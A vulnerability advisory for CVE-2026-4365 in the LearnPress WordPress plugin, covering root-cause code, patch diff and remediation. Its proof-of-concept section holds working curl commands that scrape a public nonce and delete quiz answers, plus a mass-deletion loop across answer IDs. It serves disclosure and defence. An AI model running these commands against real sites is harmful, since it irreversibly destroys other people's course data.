LearnPress – WordPress LMS Plugin for Create and Sell Online Courses WordPress plugin banner

CVE-2026-4365: Arbitrary Quiz Answer Deletion in LearnPress (CVSS 9.1)

CVE-2026-4365 is a CVSS 9.1 Critical Missing Authorization vulnerability in the LearnPress – WordPress LMS Plugin for WordPress. Any unauthenticated attacker can permanently delete quiz answer options across an entire site. They do this by using a security nonce that the plugin places in the public page HTML — visible to every visitor, including bots.

Vulnerability Summary

FieldValue
Plugin NameLearnPress – WordPress LMS Plugin for Create and Sell Online Courses
Plugin Sluglearnpress
CVE IDCVE-2026-4365
CVSS Score9.1 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Vulnerability TypeMissing Authorization
Affected Versions<= 4.3.2.8
Patched Version4.3.3
PublishedApril 13, 2026
ResearcherSupakiad S. (m3ez) — E-CQURITY (Thailand)
Wordfence AdvisoryLink

Description

The LearnPress plugin is vulnerable to unauthorized data deletion. The root cause is a missing capability check on the delete_question_answer() function in all versions up to and including 4.3.2.8.

The plugin exposes a wp_rest nonce in public frontend HTML (lpData) to unauthenticated visitors. This nonce is the only security gate for the lp-load-ajax AJAX dispatcher. The delete_question_answer action has no capability or ownership check. An unauthenticated attacker can therefore delete any quiz answer option by sending a crafted POST request with the publicly available nonce.

Technical Analysis

Vulnerable Code Path

The attack chain spans three files. Here is how each piece contributes.

1. Nonce Exposed Publicly — inc/class-lp-assets.php line 177

The plugin hooks load_scripts_on_head() to wp_head with priority -1, which means it fires on every frontend page before other scripts load:

// inc/class-lp-assets.php, line 23
add_action( 'wp_head', [ $this, 'load_scripts_styles_on_head' ], -1 );

// inc/class-lp-assets.php, lines 455–457
public function load_scripts_on_head() {
    LP_Helper::print_inline_script_tag( 'lpData', $this->localize_data_global(), [ 'id' => 'lpData' ] );
    ...
}

Inside localize_data_global(), a fresh wp_rest nonce is generated and embedded in the page HTML as part of the lpData global JavaScript object:

// inc/class-lp-assets.php, line 177
'nonce' => wp_create_nonce( 'wp_rest' ),

This means any unauthenticated visitor loading any LearnPress-enabled page receives a valid wp_rest nonce in the page source, for example:

<script id="lpData">
var lpData = {"nonce":"abc123def456", "ajaxUrl":"...", "lpAjaxUrl":"http://example.com/lp-ajax-handle", ...}
</script>

2. AJAX Dispatcher Accepts Any Nonce — inc/Ajax/AbstractAjax.php lines 18–43

All LearnPress AJAX handlers extend AbstractAjax. Its catch_lp_ajax() method registers itself to the WordPress init hook (priority 11) and checks only the nonce before dispatching to any action:

// inc/Ajax/AbstractAjax.php, lines 18–43
public static function catch_lp_ajax() {
    if ( ! empty( $_REQUEST['lp-load-ajax'] ) ) {
        $action = $_REQUEST['lp-load-ajax'];
        $nonce  = $_REQUEST['nonce'] ?? '';
        $class  = new static();

        if ( ! method_exists( $class, $action ) ) {
            return;
        }

        // Only LoadContentViaAjax skips nonce check (for cached HTML)
        $class_no_nonce = [ LoadContentViaAjax::class ];

        if ( ! wp_verify_nonce( $nonce, 'wp_rest' ) ) {
            if ( ! in_array( get_class( $class ), $class_no_nonce ) ) {
                wp_die( 'Invalid request!', 400 );
            }
        }

        if ( is_callable( [ $class, $action ] ) ) {
            call_user_func( [ $class, $action ] );  // <-- dispatches with no auth check
        }
    }
}

There is no authentication check (is_user_logged_in()), no capability check (current_user_can()), and no ownership check before the action is dispatched. The nonce only proves the request came from a page where LearnPress loaded. It says nothing about whether the caller is the course owner or has any edit permissions.

The EditQuestionAjax class is registered at learnpress.php line 704:

// learnpress.php, lines 697–712
add_action( 'init', function () {
    ...
    EditQuestionAjax::catch_lp_ajax();   // line 704
    ...
}, 11 );

Requests are routed through home_url('lp-ajax-handle'), registered as a WordPress rewrite rule (^lp-ajax-handle/?$index.php), making it available at https://example.com/lp-ajax-handle.

3. No Capability Check on Deletion — inc/Ajax/EditQuestionAjax.php lines 285–311

The delete_question_answer() handler is the final destination:

// inc/Ajax/EditQuestionAjax.php, lines 285–310
public static function delete_question_answer() {
    $response = new LP_REST_Response();

    try {
        $data               = self::check_valid();
        $question_answer_id = $data['question_answer_id'] ?? '';
        if ( empty( $question_answer_id ) ) {
            throw new Exception( __( 'Invalid request!', 'learnpress' ) );
        }

        $questionAnswerModel = QuestionAnswerModel::find( $question_answer_id, true );
        if ( ! $questionAnswerModel ) {
            throw new Exception( __( 'Question answer not found', 'learnpress' ) );
        }

        // Delete question answer — NO CAPABILITY CHECK HERE
        $questionAnswerModel->delete();

        $response->status  = 'success';
        $response->message = __( 'Question answer deleted successfully', 'learnpress' );
    } catch ( Throwable $e ) {
        $response->message = $e->getMessage();
    }

    wp_send_json( $response );
}

The supporting check_valid() method (lines 37–53) only validates that the supplied question_id exists in the database; it neither checks who owns it nor whether the caller is logged in.

The QuestionAnswerModel::check_valid_before_delete() method (called from delete()) enforces only one constraint: single/multi choice questions must retain at least two answers. There is no check_capabilities_update() call and no ownership check against the current user.

Root Cause

delete_question_answer() and the entire call chain down to QuestionAnswerModel::delete() perform no capability check. The only guard is wp_verify_nonce($nonce, 'wp_rest') in AbstractAjax::catch_lp_ajax(). The plugin writes this wp_rest nonce as-is into the public HTML of every LearnPress page. That means any visitor — including unauthenticated bots — can read it and use it to trigger the deletion.

Failure of Existing Controls

WordPress nonces are CSRF tokens, not authentication tokens. wp_create_nonce('wp_rest') produces a token valid for 24 hours for the current user context — including guests and logged-out users. Verifying it confirms the request came from a page that rendered the nonce. It says nothing about whether the caller has permission to delete data. The developers appear to have confused nonce verification with access control.

Attack Impact

Because no capability check exists and the nonce is public, an unauthenticated attacker can:

  1. Visit any public page of the target WordPress site where LearnPress is active.
  2. Extract the nonce value from the lpData JavaScript object in the page HTML.
  3. Send crafted POST requests to <site>/lp-ajax-handle with lp-load-ajax=delete_question_answer and any question_answer_id value.
  4. Permanently delete any quiz answer option across all quizzes on the site, regardless of which course or instructor owns them.

As a result, this vulnerability can be used to:

Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

Step-by-Step Reproduction

Step 1: Obtain the public wp_rest nonce

Visit any page of the target WordPress site where LearnPress is active (the homepage, any course page, etc.) as an unauthenticated visitor. Extract the nonce from the lpData inline script in the page <head>:

NONCE=$(curl -s https://TARGET_SITE/ \
  | grep -oP '(?<="nonce":")[^"]+')
echo "Nonce: $NONCE"

Alternatively, open the page in a browser, view source, and search for "nonce": inside the <script id="lpData"> block.

Step 2: Identify a target question_answer_id

Quiz answer IDs are stored in the {prefix}_learnpress_question_answers database table. If you have read access to the database, simply run:

SELECT question_answer_id, question_id, title FROM wp_learnpress_question_answers LIMIT 20;

Without database access, answer IDs can be guessed by trying small integers starting from 1 — the column is auto-increment. Enrolled students may also see answer IDs in AJAX responses when viewing quiz results.

Step 3: Delete an arbitrary quiz answer

Replace TARGET_SITE, NONCE, QUESTION_ID, and ANSWER_ID with real values:

curl -s -X POST "https://TARGET_SITE/lp-ajax-handle" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "lp-load-ajax=delete_question_answer" \
  --data-urlencode "nonce=${NONCE}" \
  --data-urlencode 'data={"question_id": QUESTION_ID, "question_answer_id": ANSWER_ID}'

Expected successful response:

{"status":"success","message":"Question answer deleted successfully","data":{}}

Step 4: Mass deletion (automating across all answer IDs)

This loop deletes every answer in a range (for demonstration only — do not run against systems you do not own):

NONCE=$(curl -s https://TARGET_SITE/ | grep -oP '(?<="nonce":")[^"]+')
QUESTION_ID=1   # The parent question ID

for ANSWER_ID in $(seq 1 100); do
  RESULT=$(curl -s -X POST "https://TARGET_SITE/lp-ajax-handle" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode "lp-load-ajax=delete_question_answer" \
    --data-urlencode "nonce=${NONCE}" \
    --data-urlencode "data={\"question_id\": ${QUESTION_ID}, \"question_answer_id\": ${ANSWER_ID}}")
  echo "ID ${ANSWER_ID}: $RESULT"
done

Expected Result

Each successful request permanently removes the targeted answer option from the database. The deletion is irreversible unless the site operator has a database backup.

Verification

Connect to the WordPress database and verify the answer row no longer exists:

SELECT * FROM wp_learnpress_question_answers WHERE question_answer_id = ANSWER_ID;
-- Should return 0 rows after successful exploitation

Log in as a course instructor and navigate to the quiz editor — the deleted answer option will no longer appear.

Patch Analysis

Changed Files

Only one PHP file was changed to address the vulnerability:

FileChange
inc/Models/Question/QuestionAnswerModel.phpAdded $this->check_capabilities_update() call inside check_valid_before_delete()

Fix Mechanism

The patch adds a single call in check_valid_before_delete() (version comment updated to 1.0.1):

// inc/Models/Question/QuestionAnswerModel.php — patched version 4.3.3
public function check_valid_before_delete() {
    $questionPostModel = $this->get_question_post_model();
    if ( ! $questionPostModel ) {
        throw new Exception( __( 'Question not found', 'learnpress' ) );
    }

    $this->check_capabilities_update();  // <-- ADDED IN 4.3.3

    if ( $questionPostModel->get_type() === 'single_choice' || ... ) {
        ...
    }
}

check_capabilities_update() (already present in both versions) enforces:

public function check_capabilities_update() {
    $user = wp_get_current_user();
    if ( ! user_can( $user, 'edit_' . LP_LESSON_CPT, $this->question_id ) ) {
        // LP_LESSON_CPT = 'lp_lesson' (inc/lp-constants.php line 42)
        throw new Exception( __( 'You do not have permission to edit this item.', 'learnpress' ) );
    }
}

An unauthenticated visitor has no WordPress user object with edit_lp_lesson capability. The check throws an exception, and the deletion never happens.

Code Diff (Key Changes)

--- a/inc/Models/Question/QuestionAnswerModel.php (4.3.2.8)
+++ b/inc/Models/Question/QuestionAnswerModel.php (4.3.3)
@@ -218,7 +218,11 @@ class QuestionAnswerModel {
     /**
      * @throws Exception
+     *
+     * @since 4.2.9
+     * @version 1.0.1
      */
     public function check_valid_before_delete() {
         $questionPostModel = $this->get_question_post_model();
         if ( ! $questionPostModel ) {
             throw new Exception( __( 'Question not found', 'learnpress' ) );
         }

+        $this->check_capabilities_update();
+
         if ( $questionPostModel->get_type() === 'single_choice' || $questionPostModel->get_type() === 'multi_choice' ) {

Fix Completeness

The fix is effective but narrow. It patches only the delete path. The deeper architectural issue remains: a wp_rest nonce is still exposed in public HTML and used as the sole gate for all lp-load-ajax actions. Each action registered through AbstractAjax::catch_lp_ajax() needs its own capability check. Relying on nonce verification alone is a recurring pattern in this codebase and warrants a broader audit.

Timeline

DateEvent
April 13, 2026Vulnerability publicly disclosed by Wordfence
April 14, 2026Wordfence record last updated
April 13, 2026Patched version 4.3.3 released

Remediation

Update the learnpress plugin to version 4.3.3 or later immediately.

If you cannot update right away, add a WAF rule to block unauthenticated POST requests to <site>/lp-ajax-handle that contain lp-load-ajax=delete_question_answer.

References

  1. https://plugins.trac.wordpress.org/browser/learnpress/trunk/inc/Ajax/EditQuestionAjax.php#L285
  2. https://plugins.trac.wordpress.org/browser/learnpress/trunk/inc/Ajax/AbstractAjax.php#L33
  3. https://plugins.trac.wordpress.org/browser/learnpress/trunk/inc/class-lp-assets.php#L177

Frequently Asked Questions

What is CVE-2026-4365?

CVE-2026-4365 is a CVSS 9.1 Critical Missing Authorization vulnerability in the LearnPress WordPress LMS plugin that allows any unauthenticated attacker to permanently delete quiz answer options on a target site.

Which versions of LearnPress – WordPress LMS Plugin are affected by CVE-2026-4365?

All versions up to and including 4.3.2.8 are affected. The vulnerability is fixed in version 4.3.3.

What can an attacker do with CVE-2026-4365?

An attacker can permanently delete any quiz answer option across all quizzes on the site, regardless of which course or instructor owns them. This can corrupt all quiz content site-wide and cause every enrolled student to fail by removing correct answers.

Does an attacker need to be logged in to exploit CVE-2026-4365?

No. The attacker does not need any account or login. They only need to visit any public page of the target site to obtain the nonce value and then send a crafted request.

How do I fix CVE-2026-4365 in LearnPress – WordPress LMS Plugin?

Update the LearnPress plugin to version 4.3.3 or later from the WordPress plugin repository or your WordPress admin dashboard. If you cannot update immediately, block unauthenticated POST requests to your site's lp-ajax-handle endpoint that include the delete_question_answer action.

Has LearnPress – WordPress LMS Plugin been patched for CVE-2026-4365?

Yes. Version 4.3.3 was released on April 13, 2026 and contains the fix. The patch adds a capability check that prevents unauthenticated users from deleting quiz answers.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee